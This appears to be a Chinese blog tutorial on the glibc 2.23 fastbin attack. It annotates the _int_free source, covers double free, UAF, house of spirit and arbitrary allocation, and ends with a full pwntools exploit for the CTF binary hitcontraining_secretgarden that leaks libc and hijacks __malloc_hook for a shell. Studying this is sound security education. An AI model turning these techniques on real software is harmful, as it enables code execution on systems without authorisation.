Fastbin Attack

要了解fastbin attack,首先得了解fastbin机制。由于libc2.26后加入了tcache机制,我们这里就分析glibc 2.23.
下面代码选自glibc2.23

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
static void _int_free (mstate av, mchunkptr p, int have_lock)
{
size = chunksize (p); //获取p的size
check_inuse_chunk(av, p);//检查p的物理相邻的下一个堆块的inuse位是否置1

//检查p的大小是否小于global_max_fast
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
#if TRIM_FASTBINS
//检查p物理相邻的堆块是否是top chunk
&& (chunk_at_offset(p, size) != av->top)
#endif
)
{
//检查p的物理相邻下个堆块是否存在,且大小是否满足最小和最大要求
if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{.......}

//对chunk的data块通过memset赋值,但是默认情况下是不进行操作
free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);
//设置 malloc_state的flag
set_fastchunks(av);

//获取p对应大小的fastbinY的索引
unsigned int idx = fastbin_index(size);
//fb指向对应大小的fastbinY的地址
fb = &fastbin (av, idx);

/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
// old为 对应大小的fastbinY的fd值,也就是第一个对块的地址
mchunkptr old = *fb, old2;
unsigned int old_idx = ~0u;

do
{
// Check that the top of the bin is not the record we are going to add
//检查 fastbin中对应的bin的第一项 是否 等于 p (新加入的堆块)
if (__builtin_expect (old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}
//获取 fastbin中对应的bin的第一项的索引。
if (have_lock && old != NULL)
old_idx = fastbin_index(chunksize(old));
//让 p 的fd指向 顶部的fastbin块
p->fd = old2 = old;
}
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);
//catomic_compare_and_exchange_val_rel 功能是 如果*fb等于old2,则将*fb存储为p,返回old2;
// *fb=p 也就是 让对应fastbin的fd指向 p(新加入的堆块)

//检查fastbin中对应的bin的第一项的大小是否与p(要添加的块)的大小相同。
if (have_lock && old != NULL && __builtin_expect (old_idx != idx, 0))
{
errstr = "invalid fastbin entry (free)";
goto errout;
}
}
}

可以看到fastbin只是检查了fastbin第一个chunk是否与新加入的chunk相同。所以我们可以使用free(0) free(1) free(0)的方式来达到double free。之后还检查大小满足要求,通过size算出fastbin_index然后再比对。如果对应的fastbinY大小为0x70,64位的话size可以在0~0xF之间浮动,也就是说size为0x70-0x7f都会被认为是合法的。32位同理,在0-0x7之间浮动。

利用前提:
1、能创建fastbin类型的chunk
2、存在堆溢出、use-after-free等能控制chunk内容的漏洞
如果细分的话,可以做以下的分类:
3、fastbin double free
即利用double free漏洞构造chunk如下图所示
1.jpg
我们首先申请回chunk1然后修改其fd值指向一个fake_chunk,这里的chunk要保证size域合法,我们再次申请3次同样的chunk,就会依次拿到chunk2,chunk1,fake_chunk。我们只要在关键位置伪造fake_chunk就可以了。例如在malloc_hook左右伪造fake_chunk,然后修改malloc_hook的值为one_gadget就可以在调用malloc时get_shell。

UAF

同fastbin double free利用手法类似,只不过只需要free依次,然后修改FD指针指向fake_chunk。

house of spirit

该技术的核心在于目标位置处伪造fastbin chunk,并将其释放,再申请回来,从而达到分配指定地址的chunk的目的。
### 可以free你指定位置的fake_chunk
### 要想构造fastbin fake chunk,并且将其释放时,可以将其放入到对应的fastbin链表当中,需要绕过一些必要的检测,即
##### fake chunk的ISMMAP位不能为1,因为free时,如果是mmap的chunk,就会单独处理。
##### fake chunk地址需要对齐,32位8字节对齐,64位16字节对齐
##### fake chunk的size大小需要满足fastbin的需求
##### fake chunk的next chunk的大小合理

alloc to stack

该技术的核心点在于劫持fastbin链表中的chunk的fd指针,把fd指针指向我们想要分配的栈上,从而实现控制栈中的一些关键数据,比如返回地址等。

arbitrary alloc

arbitrary alloc 其实与alloc to stack是完全相同的,唯一的区别就是分配的目标不是在栈中。我们可以把chunk分配到任意可写的内存中,比如bss、heap、data、stack等等。

小结:

以上是fastbin attack的集中方法,总结起来就是3步:
①伪造合理的chunk
②使得fd指向fake_chunk,或者free fake_chunk。使得fake_chunk加入到fastbin中
③分配得到fake_chunk,进行后续利用

例题

hitcontraining_secretgarden,libc为2.23
首先检查一下保护
2.jpg
main函数,有增删查,没有改
3.jpg
漏洞点,del函数free的时候指针没有清零。并且free前没有检查flowerlist[i][0]的值是否为1
4.jpg
其他都是常规操作

程序留有后门,我们也可以劫持函数的got来实现调用后门。但是我们这里使用的是劫持__malloc_hook,由于one_gadget不能用,我们通过__libc_realloc来改变栈环境,使得one_gadget条件成立。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
context.log_level = 'debug'
p = process('./secretgarden')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def add(length,name,color):
p.sendlineafter('Your choice : ','1')
p.sendlineafter('name :',str(length))
p.sendafter('flower :',name)
p.sendlineafter('flower :',color)#0x17

def show():
p.sendlineafter('Your choice : ','2')

def delete(idx):
p.sendlineafter('Your choice : ','3')
p.sendlineafter('garden:',str(idx))

#----------------leak libc ---------------#
add(0x80,'A'*0x80,'B'*23)#0
add(0x80,'B'*0x80,'B'*23)#1

delete(0) #将其置入unsorted bin

add(0x50,'E'*8,'B'*23)#2
show()
p.recvuntil('EEEEEEEE')
libc_base = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00')) - 0x3c4b78
print 'libc_base: '+hex(libc_base)
one = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base + one[1]
#-------------- double free ---------------#

add(0x68,'A'*0x68,'B'*23)#3
add(0x68,'B'*0x68,'B'*23)#4
delete(3)
delete(4)
delete(3) #fastbinY(0x70) -> 3 -> 4 ->3

#--------------fastbin attack --------------#
add(0x68,p64(libc_base+libc.symbols['__malloc_hook']-0x23),'B'*23)#5
add(0x68,'A'*0x68,'B'*23)#6
add(0x68,'A'*0x68,'B'*23)#7
add(0x68,'\x00'*0xb+p64(one_gadget)+p64(libc_base+libc.symbols['__libc_realloc']+8),'B'*23)
#gdb.attach(p)
p.sendlineafter('Your choice : ','1')


p.interactive()

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!